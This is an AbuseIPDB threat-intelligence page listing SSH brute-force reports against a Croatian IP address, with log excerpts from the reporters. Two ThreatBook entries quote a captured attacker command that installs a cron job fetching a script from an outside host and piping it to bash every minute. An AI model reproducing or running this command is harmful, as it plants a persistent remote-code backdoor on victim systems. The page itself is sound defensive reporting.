JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 89.201.153.220

89.201.153.220 was found in our database!

This IP was reported 12 times. Confidence of Abuse is 23%: ?

23%

ISP	OT - Optima Telekom d.d.
Usage Type	Fixed Line ISP
ASN	AS34594
Hostname(s)	89-201-153-220.static.optinet.hr
Domain Name	telemach.hr
Country	🇭🇷 Croatia
City	Zagreb, Zagreb

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 89.201.153.220

Whois 89.201.153.220

IP Abuse Reports for 89.201.153.220:

This IP address has been reported a total of 12 times from 6 distinct sources. 89.201.153.220 was first reported on March 24th 2026, and the most recent report was 2 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇳🇨 noumea electronico	2026-06-12 07:44:45 (2 days ago)	2026-06-12T18:43:50.231820 11:00 samba.electronico.nc sshd[74287]: pam_unix(sshd:auth): authenticati ... show more 2026-06-12T18:43:50.231820 11:00 samba.electronico.nc sshd[74287]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.201.153.220 user=root 2026-06-12T18:43:52.360801 11:00 samba.electronico.nc sshd[74287]: Failed password for root from 89.201.153.220 port 43134 ssh2 2026-06-12T18:44:02.020596 11:00 samba.electronico.nc sshd[74290]: Invalid user uno50 from 89.201.153.220 port 43904 show less	Brute-Force SSH
🇩🇪 Xenic	2026-06-08 11:34:24 (5 days ago)	Jun 8 13:33:48 nuremberg-1 sshd[5740]: Invalid user tracie from 89.201.153.220 port 48254 Jun 8 13 ... show more Jun 8 13:33:48 nuremberg-1 sshd[5740]: Invalid user tracie from 89.201.153.220 port 48254 Jun 8 13:34:15 nuremberg-1 sshd[5746]: Invalid user orasso from 89.201.153.220 port 49834 Jun 8 13:34:23 nuremberg-1 sshd[5748]: Invalid user oracle from 89.201.153.220 port 50350 ... show less	Brute-Force SSH
🇩🇪 ghostwarriors	2026-05-20 07:20:22 (3 weeks ago)	Unauthorized connection attempt detected, SSH Brute-Force	Brute-Force Port Scan SSH
🇭🇰 Gone fishing	2026-05-12 09:07:52 (1 month ago)	2026-05-12T17:07:38.390967+08:00 server.hsannu.com sshd[1100836]: User root from 89.2 ...	Brute-Force SSH
🇨🇳 ThreatBook.io	2026-04-10 23:10:27 (2 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220	Brute-Force
🇨🇳 ThreatBook.io	2026-04-09 23:13:12 (2 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220 ... show more ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220 2026-04-09 16:38:06 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://scanbot.me/?gvc 2>/dev/null \|\| wget -qO- http://scanbot.me/?gvc 2>/dev/null) \| bash\") \| crontab - 2>/dev/null)\"","grep -c ^processor /proc/cpuinfo 2>/dev/null","uname -a 2>/dev/null","(crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/null \|\| wget -qO- http://scanbot.me/?gvc 2 > /dev/null"] show less	Brute-Force
🇪🇸 saima	2026-04-09 00:00:12 (2 months ago)	Detected 522 times. SSH Brute-Force from address 89.201.153.220	SSH Brute-Force
🇨🇳 ThreatBook.io	2026-04-08 22:53:37 (2 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220 ... show more ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220 2026-04-08 15:02:42 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://scanbot.me/?gvc 2>/dev/null \|\| wget -qO- http://scanbot.me/?gvc 2>/dev/null) \| bash\") \| crontab - 2>/dev/null)\"","grep -c ^processor /proc/cpuinfo 2>/dev/null","uname -a 2>/dev/null","(crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/null \|\| wget -qO- http://scanbot.me/?gvc 2 > /dev/null"] show less	Brute-Force
🇪🇸 saima	2026-04-08 00:00:12 (2 months ago)	Detected 1175 times. SSH Brute-Force from address 89.201.153.220	SSH Brute-Force
🇨🇳 ThreatBook.io	2026-03-29 23:09:14 (2 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220	Brute-Force
🇨🇳 ThreatBook.io	2026-03-28 22:15:34 (2 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220	SSH
🇨🇳 ThreatBook.io	2026-03-24 23:29:11 (2 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/89.201.153.220	SSH

Showing 1 to 12 of 12 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 216.180.246.209

🇳🇵 103.130.207.227

🇧🇷 43.164.194.33

🇯🇵 2400:d320:2240:9490::54

🇭🇰 199.45.155.90

🇺🇸 162.216.150.3

🇭🇰 152.32.171.99

🇫🇮 147.185.133.226

🇩🇪 91.92.43.160

🇳🇱 45.148.10.151

🇸🇬 34.21.184.40

🇺🇸 193.56.116.207

🇫🇮 147.185.133.174

🇭🇰 103.81.168.2

🇱🇹 45.227.254.170

🇮🇩 34.50.74.204

🇺🇸 17.22.245.34

🇵🇰 160.187.180.175

🇺🇸 34.162.124.253

🇰🇷 1.235.192.214